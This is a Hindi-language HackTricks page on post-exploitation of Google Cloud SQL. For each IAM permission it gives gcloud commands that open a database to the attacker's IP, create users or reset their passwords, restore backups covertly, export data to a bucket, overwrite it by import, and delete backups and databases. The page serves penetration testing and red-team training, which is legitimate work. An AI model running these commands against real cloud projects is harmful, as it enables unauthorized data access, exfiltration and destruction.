GCP - Cloud SQL Post Exploitation

Reading time: 4 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Cloud SQL

Cloud SQL के बारे में अधिक जानकारी के लिए देखें:

GCP - Cloud SQL Enum

cloudsql.instances.update, ( cloudsql.instances.get)

डेटाबेस से कनेक्ट करने के लिए आपको बस डेटाबेस पोर्ट तक पहुंच की आवश्यकता है और यूजरनेम और पासवर्ड पता होना चाहिए, कोई IAM आवश्यकताएँ नहीं हैं। इसलिए, एक आसान तरीका है कि यदि डेटाबेस का एक सार्वजनिक IP पता है, तो अनुमत नेटवर्क को अपडेट करें और अपने स्वयं के IP पते को इसे एक्सेस करने की अनुमति दें

bash
# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet

mysql -h <ip_db> # If mysql

# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet

यह भी संभव है कि --no-backup का उपयोग करके डेटाबेस के बैकअप को बाधित किया जा सके।

चूंकि ये आवश्यकताएँ हैं, मैं पूरी तरह से निश्चित नहीं हूँ कि cloudsql.instances.connect और cloudsql.instances.login के लिए अनुमतियाँ क्या हैं। यदि आप जानते हैं तो एक PR भेजें!

cloudsql.users.list

डेटाबेस के सभी उपयोगकर्ताओं की सूची प्राप्त करें:

bash
gcloud sql users list --instance <intance-name>

cloudsql.users.create

यह अनुमति डेटाबेस के अंदर एक नया उपयोगकर्ता बनाने की अनुमति देती है:

bash
gcloud sql users create <username> --instance <instance-name> --password <password>

cloudsql.users.update

यह अनुमति डेटाबेस के अंदर उपयोगकर्ता को अपडेट करने की अनुमति देती है। उदाहरण के लिए, आप इसका पासवर्ड बदल सकते हैं:

bash
gcloud sql users set-password <username> --instance <instance-name> --password <password>

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

बैकअप में पुरानी संवेदनशील जानकारी हो सकती है, इसलिए उन्हें चेक करना दिलचस्प है।
एक बैकअप को डेटाबेस के अंदर पुनर्स्थापित करें:

bash
gcloud sql backups restore <backup-id> --restore-instance <instance-id>

इसे अधिक छिपे हुए तरीके से करने के लिए, एक नया SQL इंस्टेंस बनाना और वहां डेटा को पुनर्प्राप्त करना अनुशंसित है, बजाय वर्तमान में चल रहे डेटाबेस में।

cloudsql.backupRuns.delete

यह अनुमति बैकअप को हटाने की अनुमति देती है:

bash
gcloud sql backups delete <backup-id> --instance <instance-id>

cloudsql.instances.export, storage.objects.create

एक डेटाबेस का निर्यात करें ताकि आप उसे वहां से एक्सेस कर सकें:

bash
# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>

cloudsql.instances.import, storage.objects.get

एक डेटाबेस आयात करें (ओवरराइट) एक क्लाउड स्टोरेज बकेट से:

bash
# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>

cloudsql.databases.delete

db instance से एक डेटाबेस हटाएं:

bash
gcloud sql databases delete <db-name> --instance <instance-id>

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें